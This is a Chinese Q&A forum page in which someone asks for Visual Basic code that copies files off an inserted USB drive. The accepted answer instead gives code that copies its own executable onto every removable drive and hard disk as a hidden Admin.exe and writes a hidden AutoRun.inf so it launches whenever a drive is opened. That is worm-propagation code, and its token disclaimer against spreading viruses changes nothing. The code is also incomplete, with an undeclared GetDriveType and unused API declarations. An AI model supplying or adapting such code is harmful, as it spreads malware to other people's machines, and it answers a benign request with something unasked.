vb高手进!跪求一段自动拷贝文件
解决时间 2021-07-19 06:43
- 提问者网友:流星是天使的眼泪
- 2021-07-18 16:02
先要搜索是否有可移动磁盘插入,
再将其中所有文件考入指定目录:d:\test\
原先的目录结构不变
最佳答案
- 五星知识达人网友:冷風如刀
- 2021-07-18 16:38
拷贝自己到U盘里和在U盘生成一个Auorun
我自己写的 绝对原创 不要用来干坏事
鄙视传播病毒者
控件:
timer
属性:
timer1.Interval = 5000
声明
Const WS_EX_LAYERED = &H80000
Const GWL_EXSTYLE = (-20)
Const LWA_ALPHA = &H2
Const LWA_COLORKEY = &H1
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetDlgItem Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const BM_CLICK = &HF5
Private Const WM_CLOSE = &H10
timer里的代码
Dim I As Long, T As Integer
For I = 65 To 90
T = GetDriveType(Chr(I) & ":\")
If T <> 1 Then
Select Case T
Case 2
If I < 67 Then
Else
'可移动磁盘
If Dir(Chr(I) & ":\Mstdc.inf", vbSystem) <> "" Then
Else
If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then
Else
If App.PrevInstance Then
Else
If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(I) & ":\Admin.exe"
End If
End If
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbHidden + vbSystem) <> "" Then
Else
Open Chr(I) & ":\AutoRun.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open=Admin.exe"
Print #1, "shell\1=打开(&O)"
Print #1, "shell\1\Command=Admin.exe"
Print #1, "shell\2\=浏览(&B)"
Print #1, "shell\2\Command=Admin.exe"
Print #1, "shellexecute=Admin.exe"
Close #1
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbSystem) <> "" Then
Call SetAttr(Chr(I) & ":\AutoRun.inf", vbHidden)
Else
End If
If Dir(Chr(I) & ":\Admin.exe") <> "" Then
Call SetAttr(Chr(I) & ":\Admin.exe", vbHidden)
Else
End If
End If
End If
Case 3
'硬盘
If Dir(Chr(I) & ":\Admin.exe", vbNormal) <> "" Then
Else
If App.PrevInstance Then
Else
If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(I) & ":\Admin.exe"
End If
End If
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbHidden + vbSystem) <> "" Then
Else
Open Chr(I) & ":\AutoRun.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open=Admin.exe"
Print #1, "shell\1=打开(&O)"
Print #1, "shell\1\Command=Admin.exe"
Print #1, "shell\2\=浏览(&B)"
Print #1, "shell\2\Command=Admin.exe"
Print #1, "shellexecute=Admin.exe"
Close #1
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbSystem) <> "" Then
Call SetAttr(Chr(I) & ":\AutoRun.inf", vbHidden)
Else
End If
If Dir(Chr(I) & ":\Admin.exe") <> "" Then
Call SetAttr(Chr(I) & ":\Admin.exe", vbHidden)
Else
End If
Case 5
End Select
End If
Next
我要举报
大家都在看
推荐资讯